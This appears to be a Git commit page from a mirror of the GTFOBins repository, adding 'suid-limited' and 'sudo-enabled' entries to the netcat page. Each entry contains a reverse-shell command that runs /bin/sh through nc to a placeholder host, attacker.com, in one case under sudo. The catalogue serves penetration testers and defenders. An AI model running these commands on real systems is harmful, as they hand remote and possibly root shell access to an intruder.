1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-11 18:01:34 +01:00

Add suid-limited and sudo-enabled to nc

This commit is contained in:
Emilio Pinna 2018-07-22 15:34:05 +01:00
parent 4de0246992
commit fbd8a68cae

@ -24,4 +24,16 @@ functions:
LPORT=12345
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
sudo-enabled:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT
---